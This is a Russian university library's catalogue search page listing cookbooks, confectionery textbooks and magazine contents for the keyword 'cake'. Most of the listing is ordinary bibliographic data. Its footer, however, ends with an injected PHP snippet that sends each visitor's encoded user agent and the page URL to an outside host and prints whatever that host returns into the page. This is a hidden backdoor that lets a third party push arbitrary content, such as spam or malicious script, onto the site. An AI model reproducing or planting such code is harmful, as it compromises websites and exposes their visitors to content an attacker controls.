Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

127 пользователей


Зарегистрированных: 4 

Борисенко Виктория Александровна

Лисина Марина Михайловна

Асташков Владимир Анатольевич

Медведева Юлия Сергеевна


 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ТОРТ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 26
1. 
Бутейкис, Нина Григорьевна. Технология приготовления мучных кондитерских изделий [Текст] / Н. Г. Бутейкис ; дар. В. В. Арсеньев, 2009. - 300, [1] с.
Держатели документа (Информация об экземплярах) 

Приведены сведения о сырье, предназначенном для изготовления хлебобулочных и кондитерских изделий, фаршей, кремов и различных полуфабрикатов, его подготовке и рациональном использовании, а также об изготовлении полуфабрикатов и готовых изделий и их отделке. Рассмотрена технология приготовления разнообразных хлебобулочных и кондитерских изделий, фаршей, кремов и полуфабрикатов, в том числе фирменных изделий из разных видов теста на предприятиях общественного питания.

В 7-е издание внесены изменения и дополнения, касающиеся использования в кондитерском производстве новых видов сырья и технологий новых изделий, по состояниию на 1 апреля 2008 г.

Для учащихся образовательных учреждений начального профессионального образования.

2. 
Табаторович, Александр Николаевич. Товароведение и экспертиза качества мучных кондитерских изделий [Текст] / А. Н. Табаторович, О. Д. Худякова ; дар. О. Д. Худякова, 2016. - 140 с.
Держатели документа (Информация об экземплярах) 

В учебном пособии рассмотрены вопросы терминологии, классификации, пищевой ценности, формирования и оценки качества основных видов и разновидностей мучных кондитерских изделий. Классификация ассортимента, показатели качества и безопасности представлены в соответствии с действующими нормативными документами и Техническими регламентами Таможенного союза.

Пособие предназначено для студентов высших учебных заведений, обучающихся по направлению подготовки 38.03.06 "Торговое дело", профиль Товароведение и экспертиза товаров, при изучении раздела "Кондитерские товары" в рамках дисциплины "Товароведение и экспертиза зерномучных и кондитерских товаров". Может быть полезно для товароведов-экспертов, коммерсантов и других практических работников, чья деятельность связана с производством, продажей и хранением мучных кондитерских изделий.

3. 
Десерты и напитки [Текст] / сост. Е. В. Шиш ; дар. В. А. Козлова, 1995. - 490, [1] с.
Держатели документа (Информация об экземплярах) 
4. 
Кузнецова, Людмила Семеновна. Технология и организация производства кондитерских изделий [Текст] / Л. С. Кузнецова, М. Ю. Сиданова, 2009. - 478, [1] с.
Держатели документа (Информация об экземплярах) 

Рассмотрена технология переработки пищевого сырья в сахарные и мучные кондитерские изделия. Приведены требования к качеству сырья при его закупке, хранении и подготовке к первичной переработке, химический состав и свойства сырья и сведения о его подверженности изменениям под влиянием теплового, механического и других видов воздействия. Изложены методика составления рецептур кондитерских изделий и требования к качеству готовой продукции и ее хранению.

Во 2-е издание внесены исправления и дополнения, связанные с введением в действие новых ГОСТов на пищевые продукты по состоянию на 1 января 2009 г.

Для студентов средних профессиональных учебных заведений. Может быть полезен студентам вузов и специалистам кондитерского производства.

5. 
Могилевская, Софья Абрамовна. Девочки, книга для вас! [Текст] / С. А. Могилевская, 1974. - 438 с.
6. 
Питание и общество. - Журнал, 2010г. № 5
Оглавление 
  • Отрасль в годы войны (газетная хроника). - с.2-3
  • Вожак на авиационном заводе. - с.3
  • Порохин, С. Мать / С. Порохин. - с.4
  • Гурьянов, Иван Петрович. "Мне часто снятся все ребята - друзья моих военных дней... " / И. П. Гурьянов. - с.4
  • Достойно прожитая жизнь. - с.5
  • "Мы въехали в Берлин, но города не увидели... ". - с.5
  • Мезенова, Эльвира Алексеевна. А судьи кто? / Э. А. Мезенова. - с.6-7
  • Итоги развития потребительского рынка и услуг г. Москвы. - с.15, II-III вкл.
  • Кучер, Л. "Дипломатический протокол и этикет" / Л. Кучер. - с.18-19
  • Киреевский, Игорь. Вечера на хуторе близ Диканьки / И. Киреевский. - с.21
  • Сучкова, Елена. Детский торт "Фея на зеленой полянке" / Е. Сучкова. - с.22
  • Светлый хлеб с семенами подсолнечника. - с.23
  • Оформление мучных кондитерских изделий. - с.24-25
  • Симонов, Г. Мясо кроликов сделает рацион богаче / Г. Симонов. - с.27
  • Филонов, М. Король овощей - шпинат / М. Филонов. - с.28
  • Ковалев, Н. И. Напитки русского стола / Н. И. Ковалев, М. Н. Куткина, Н. Я. Карцева. - с.30-31
  • Арефьева, Анастасия. Тимьян / А. Арефьева. - с.32
  • Аббасов, Сираджаддин. Стейк "Магистра" / С. Аббасов
7. 
Эхо планеты. - Журнал, 2007г. № 17
Оглавление 
  • Сорокина, Светлана. И Африка в Евросоюз потянулась / С. Сорокина. - с.2
  • Сорокина, Светлана. На Ван-Ли-Чжан рассчитайся / С. Сорокина. - с.2
  • Сорокина, Светлана. Смотри и не дыши! / С. Сорокина. - с.2
  • Сорокина, Светлана. 75 лет на марше / С. Сорокина. - с.3
  • Сорокина, Светлана. А никакого Израиля и нет / С. Сорокина. - с.3
  • Сорокина, Светлана. "Японцев" переделают под биотопливо / С. Сорокина. - с.3
  • Сорокина, Светлана. Охотников проверят на профпригодность / С. Сорокина. - с.3-4
  • Сорокина, Светлана. Обвиняемый Тони Блэр, встаньте: суд идет / С. Сорокина. - с.4
  • Сорокина, Светлана. Сколько женщина не работай, "мужской" зарплаты ей не видать / С. Сорокина. - с.4
  • Сорокина, Светлана. Шедевры нашли - и снова потеряли / С. Сорокина. - с.4
  • Сорокина, Светлана. Мексика еще поспорит об абортах / С. Сорокина. - с.4
  • Джалагония, Валерий. Лирическое отступление и стратегическое наступление / В. Джалагония. - с.5-9
  • Федяшин, Андрей. Бои вокруг "Бронзового солдата" / А. Федяшин. - с.10
  • Федяшин, Андрей. Швейцарцы готовы раздвинуть границы демократии / А. Федяшин. - с.11
  • Федяшин, Андрей. Не беспокойте Поднебесную и ее Олимпиаду! / А. Федяшин. - с.10-11
  • Федяшин, Андрей. А ну-ка прикройтесь, бесстыжие! / А. Федяшин. - с.12
  • Федяшин, Андрей. "Встречный план" по фараонам / А. Федяшин. - с.12-13
  • Федяшин, Андрей. Я вас, Чейни, в покое не оставлю / А. Федяшин. - с.12-13
  • Федяшин, Андрей. Мы не одиноки во Вселенной? / А. Федяшин. - с.13
  • Александров, Алексей. Борис Ельцин. Смерть и преображение / А. Александров. - с.14-15
  • Макарчев, Виталий. Мир через 30 лет. Британский сценарий / В. Макарчев. - с.16-18
  • Тимофеев, М. Жак Ширак собирается переезжать / М. Тимофеев. - с.19
  • Новичков, Николай. Шампанское в космосе? ! Увольте - только отборный коньяк! / Н. Новичков. - с.20-22
  • Винодел проиграл космическое пари. - с.22
  • Злодорев, Дмитрий. Американская трагедия. Что дальше? / Д. Злодорев. - с.23
  • Иванов, Иван. Матти Ванханен / И. Иванов. - с.25
  • Иванов, Иван. Мерседес Соса / И. Иванов. - с.25
  • Иванов, Иван. Жан Шаре / И. Иванов. - с.25
  • Иванов, Иван. У Босюн / И. Иванов. - с.25
  • Кармалито, Сергей. Ганг. Великая река как симптом болезни планеты / С. Кармалито. - с.26-31
  • С., К. Реки не вечны / К. С.. - с.30
  • Середа, Иван. Извини, дорогая, - сегодня футбол! / И. Середа. - с.32-33
  • Сорокина, Светлана. Торт, которому всегда везет / С. Сорокина. - с.34-35
  • Выклюк, Александра. Своих мы не едим / А. Выклюк. - с.35
  • Артюшин, Олег. Прибавка к пенсии. Немецкий вариант / О. Артюшин, И. Деев, С. Латышев. - с.36-37
  • Трушин, Александр. Под жареных муравьев хорошо идет тропико / А. Трушин. - с.38-39
  • Поляков, Андрей. Драма Колумбану. Акт первый / А. Поляков. - с.40-42
  • Он любил только живопись. - с.42
  • Рогачев, Владимир. Борис Годунов в Принстонском университете / В. Рогачев. - с.45-46
  • Романова, Марина. Здесь был Бэнкси / М. Романова. - с.47
  • Бернаскони, Елена. Огромная удача / Е. Бернаскони. - с.48
  • Бернаскони, Елена. В сауне на велотренажере / Е. Бернаскони. - с.48
  • Бернаскони, Елена. Большая удача / Е. Бернаскони. - с.48
  • Бернаскони, Елена. Щедрые отступные / Е. Бернаскони. - с.48
Держатели документа (Информация об экземплярах) 
8. 
Питание и общество. - Журнал, 2011г. № 9
Оглавление 
  • Широков, Евгений. Колбаса из нефти - наше будущее? / Е. Широков. - с.4-5
  • Осадчая, Раиса. ... И не только из нефти! / Р. Осадчая. - с.6
  • Рамазанова, Татьяна Анатольевна. "Жить без изменений скучно! " / Т. А. Рамазанова. - с.8-9
  • Джафаров, Мехман Рамиз Оглы. "Мы верны вековым традициям! " / М. Р. Оглы Джафаров. - с.9-10
  • Блюда "Старого Баку". - с.10-11
  • Румянцева, Е. Термины и фамилии - по алфавиту / Е. Румянцева. - с.12
  • Спирин, Е. Физико-механические характеристики пищевых продуктов - основа для расчета и создания нового оборудования / Е. Спирин, А. Белехов. - с.13-14
  • Каширина, Елена. Здоровое питание без противоречий / Е. Каширина. - с.14-15
  • Путин. Просто путин. - с.16
  • Яблочный салат с сельдереем. - с.18
  • Сальков, Петр. "Интеграция. Жизнь. Общество" / П. Сальков. - с.18-19
  • Кулинарный словарик. - с.19
  • Грушевый торт со взбитыми сливками. - с.20
  • Арефьева, Елена. Рис, или сарацинское зерно / Е. Арефьева. - с.21-22
  • Каширина, Е. Сельдь без шубы / Е. Каширина. - с.22-23
  • Арефьева, Елена. Скажите "чиииз"! / Е. Арефьева. - с.24
  • Киреевский, Игорь. Миргород / И. Киреевский. - с.25
  • Ковалев, Н. И. Из глубины веков / Н. И. Ковалев, М. Н. Куткина, Н. Я. Карцева. - с.26
  • Блюда из дичи. - с.27
  • Филонов, Михаил. Солнечный дар бахчи / М. Филонов. - с.28-29
  • Любина, Е. Легендарные французские кулинары / Е. Любина. - с.30-31
  • Грибное рагу. - с.32
9. 
Питание и общество. - Журнал, 2011г. № 1
Оглавление 
  • Забнев, Сергей. Кофе растворимый - и зерновой / С. Забнев. - с.10
  • Суворов, Роман. "Корзинка - витаминка" / Р. Суворов. - с.11
  • Кролик в сладком соусе. - с.11
  • Сальков, Петр. Приготовил Джамиль Гурбанов / П. Сальков. - с.12-13
  • Киреевский, Игорь. Салат Авиценны / И. Киреевский. - с.13
  • Тушеная телячья щековина. - с.14-15
  • Ефимов, А. Соусы нового поколения / А. Ефимов, Э. Морина. - с.18
  • Сладкие длинные булочки с шафраном. - с.19
  • Арефьева, Анастасия. Кефир - кладезь здоровья в стакане / А. Арефьева. - с.20-21
  • Арефьева, Елена. Хороша капустка / Е. Арефьева. - с.22-23
  • Ковалев, Н. И. Из глубины веков / Н. И. Ковалев, М. Н. Куткина, Н. Я. Карцева. - с.24
  • Арефьева, Анастасия. Любисток / А. Арефьева. - с.25
  • Самые необычные кушанья в мире. - с.25
  • Филонов, Михаил. "Конфетная трава" / М. Филонов. - с.26
  • Каширина, Е. "Варилка Папена" / Е. Каширина. - с.27
  • Лафер, Йоханн. Торт "Венский" / Й. Лафер
10. 
Кулинарные рецепты: Из "Книги о вкусной и здоровой пище" [Текст] / сост. Л. И. Воробьева ; дар.: Л. К. Жарина, Л. К. Жарина, 1988. - 334, [1] с.
Ключевые слова 
ЗАКУСКА -- БУТЕРБРОД -- САЛАТ -- ИКРА -- ПАШТЕТ -- СОУС -- МАЙОНЕЗ -- БУЛЬОН -- СУП -- ОКРОШКА -- МЯСО -- КОТЛЕТА -- ТЕФТЕЛИ -- ШНИЦЕЛЬ -- ПЕЛЬМЕНИ -- КУРИЦА -- ДИЧЬ -- РЫБА -- МОРЕПРОДУКТ -- ТВОРОЖНИКИ -- ВАРЕНИК -- БЛИНЧИКИ -- ЗАПЕКАНКА -- ПУДИНГ -- ОМЛЕТ -- ОВОЩИ -- ГРИБЫ -- КАРТОФЕЛЬ -- ФОРШМАК -- КАША -- ПЛОВ -- КЛЕЦКИ -- ЧЕБУРЕК -- КУКУРУЗА -- ФАСОЛЬ -- ГОРОХ -- ЧЕЧЕВИЦА -- ПИРОЖОК -- ВАТРУШКА -- БУЛКА -- ОЛАДЬИ -- РУЛЕТ -- ПИРОЖНОЕ -- ТОРТ -- КЕКС -- ПОНЧИК -- ХВОРОСТ -- КИСЕЛЬ -- КОМПОТ -- ЖЕЛЕ -- МУСС -- КРЕМ -- ПУДИНГ -- ШАРЛОТКА -- МАРИНАД -- СОЛЕНЬЕ -- МАРИНАД -- КОНСЕРВИРОВАНИЕ -- ЗАМОРАЖИВАНИЕ -- ЯГОДЫ
Держатели документа (Информация об экземплярах) 
11. 
Кулинарные рецепты [Текст] / сост. Л. И. Воробьева, 1983. - 835 с.
Ключевые слова 
БУТЕРБРОД -- САЛАТ -- ВИНЕГРЕТ -- ЗАКУСКА ХОЛОДНАЯ -- ЗАКУСКА ОВОЩНАЯ -- ЗАКУСКА ИЗ ЯИЦ -- СОУС -- ЗАКУСКА ГОРЯЧАЯ -- БУЛЬОН -- СУП -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- МЯСО ОТВАРНОЕ -- МЯСО ТУШЕНОЕ -- МЯСО ЖАРЕНОЕ -- МЯСО РУБЛЕНОЕ -- МЯСО ЗАПЕЧЕННОЕ -- РЫБА ОТВАРНАЯ -- РЫБА ЖАРЕНАЯ -- РЫБА ТУШЕНАЯ -- БЛЮДА ИЗ МОРЕПРОДУКТОВ -- БЛЮДА МОЛОЧНЫЕ -- БЛЮДА ИЗ ЯИЦ -- ОМЛЕТ -- ОВОЩИ ОТВАРНЫЕ -- ОВОЩИ ЖАРЕНЫЕ -- ОВОЩИ ЗАПЕЧЕННЫЕ -- ОВОЩИ ТУШЕНЫЕ -- ОВОЩИ ФАРШИРОВАННЫЕ -- БЛЮДА ИЗ ГРИБОВ -- КАША -- ПЛОВ -- БЛЮДА ИЗ МАКАРОННЫХ ИЗДЕЛИЙ -- БЛЮДА ИЗ БОБОВЫХ -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО ПРЕСНОЕ -- ТЕСТО СЛОЕНОЕ -- БЛИНЫ -- ОЛАДЬИ -- БУЛОЧКИ -- КУЛИЧИ -- ПЕЧЕНЬЕ -- ПИРОЖНЫЕ -- ТОРТ -- КЕКС -- КИСЕЛЬ -- КОМПОТ -- ЖЕЛЕ -- КРЕМ -- ПУДИНГ -- КОНСЕРВИРОВАНИЕ ДОМАШНЕЕ -- МАРИНАД -- ЗАМОРАЖИВАНИЕ ОВОЩЕЙ -- ЗАМОРАЖИВАНИЕ ПЛОДОВ
Держатели документа (Информация об экземплярах) 
12. 
Современный австралийский детектив [Текст], 1990. - 703 с.
Оглавление 
  • Апфилд, Артур. Торт в шляпной коробке / А. Апфилд ; В. Стеклач
  • Коррис, Питер. Как в воду канул / П. Коррис ; П. Андрушка
  • Роу, Дженнифер. Предсказание прошлого / Д. Роу ; Э. Качиркова
Держатели документа 
13. 
Шембель, Анатолий Феоктистович. Рисование и лепка (для кондитеров) [Текст] : учеб. пособие для сред. ПТУ / А. Ф. Шембель, 1981. - 95, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
14. 
Хлеб на любой вкус [Текст] / сост. Л. В. Шабыкина ; дар. Н. Е. Бадаева, 1987. - 286, [1] с.
Держатели документа (Информация об экземплярах) 
15. 
Кенгис, Роберт Петрович. Изделия из теста [Текст] / Р. П. Кенгис, 1958. - 192 с.
Держатели документа (Информация об экземплярах) 
16. 
Романова Т. В. Приятного аппетита! [Текст] / Т. В. Романова, 1990. - 200 с. [8] вкл. цв. л. с.
Ключевые слова 
КУЛИНАРИЯ ДОМАШНЯЯ -- ПИТАНИЕ РАЦИОНАЛЬНОЕ -- СЕРВИРОВКА СТОЛА -- БЛЮДА ХОЛОДНЫЕ -- ЗАКУСКА -- БУТЕРБРОД -- САЛАТ -- ВИНЕГРЕТ -- СУПЫ -- ЩИ -- БОРЩ -- РАССОЛЬНИК -- СУП - ПЮРЕ -- СУП МОЛОЧНЫЙ -- БЛЮДА РЫБНЫЕ -- БЛЮДА МЯСНЫЕ -- СОУС -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КРУП -- БЛЮДА МУЧНЫЕ -- БЛЮДА СЛАДКИЕ -- КОМПОТ -- КИСЕЛЬ -- ЖЕЛЕ -- МУСС -- КРЕМ -- КАША ГУРЬЕВСКАЯ -- НАПИТКИ -- ТЕСТО ДРОЖЖЕВОЕ -- ПИРОГ -- ТЕСТО СЛОЕНОЕ -- МАННИК -- КЕКС -- ХВОРОСТ -- ПЕЧЕНЬЕ -- ПИРОЖНЫЕ -- ТОРТ -- ФРУКТЫ -- ОВОЩИ -- КУХНЯ ОМСКАЯ -- ЗЕЛЬЦ -- СТУДЕНЬ -- СТЕРЛЯДЬ -- ЩУКА -- ВЕРЕЩАКА -- ПЕЛЬМЕНИ -- ПАСХА
Держатели документа (Информация об экземплярах) 
17. 
Пашук З. Н. Мучные кондитерские изделия [Текст] / З. Н. Пашук, Т. К. Апет, 1997. - 459 с.
Ключевые слова 
ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ПРОИЗВОДСТВО КОНДИТЕРСКОЕ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ МУЧНЫЕ -- МУКА -- КРАХМАЛ -- САХАР -- МЕД -- ПАТОКА -- ЯЙЦА -- МОЛОКО -- МАСЛО -- МАРГАРИН -- ЖИР -- ФРУКТЫ -- ЯГОДЫ -- РАЗРЫХЛИТЕЛЬ ТЕСТА -- ДОБАВКА АРОМАТИЧЕСКАЯ -- ДОБАВКА ВКУСОВАЯ -- ОРЕХИ -- МАК -- ПЕЧЕНЬЕ САХАРНОЕ -- ПЕЧЕНЬЕ ЗАТЯЖНОЕ -- ПЕЧЕНЬЕ СДОБНОЕ -- ГАЛЕТЫ -- КРЕКЕР -- ВЫПЕЧКА ПЕЧЕНЬЯ -- ПРЯНИК -- КЕКС -- БАБА РОМОВАЯ -- ТОРТ -- СИРОП -- ПОМАДА -- КАРАМЕЛЬ -- КАНДИР ДЛЯ САХАРНЫХ ФИГУР -- КРЕМ -- МАРЦИПАН -- ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИТАНИЯ - ТРЕБОВАНИЯ САНИТАРНЫЕ -- ПРАВИЛА ЛИЧНОЙ ГИГИЕНЫ -- СРЕДСТВА МОЮЩИЕ -- СРЕДСТВА ДЕЗИНФИЦИРУЮЩИЕ -- ОСМОТР МЕДИЦИНСКИЙ ЕЖЕСМЕННЫЙ -- ЛАМПА БАКТЕРИЦИДНАЯ
Держатели документа (Информация об экземплярах) 
18. 
Микроволновая кухня каждый день [Текст] / сост. Ю. Р. Васильев ; дар. И. Ю. Морозов, 1995. - 383 с.
Держатели документа (Информация об экземплярах) 
19. 
Большая книга невесты. Необычные идеи для вашей свадьбы [Текст] / В. Ю. Агафонова [и др.], 2008. - 382, [1] с.
Держатели документа (Информация об экземплярах) 
20. 
Сборник рецептур мучных кондитерских и булочных изделий [Текст] / сост. А. В. Павлов, 2014. - 294 с.
Держатели документа (Информация об экземплярах) 
21. 
Ансель Торты [Текст] : [Рецепты] / Ансель, 1994. - 93 с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3021 - 17.09.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.27 с.20 запросов, 0.83c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;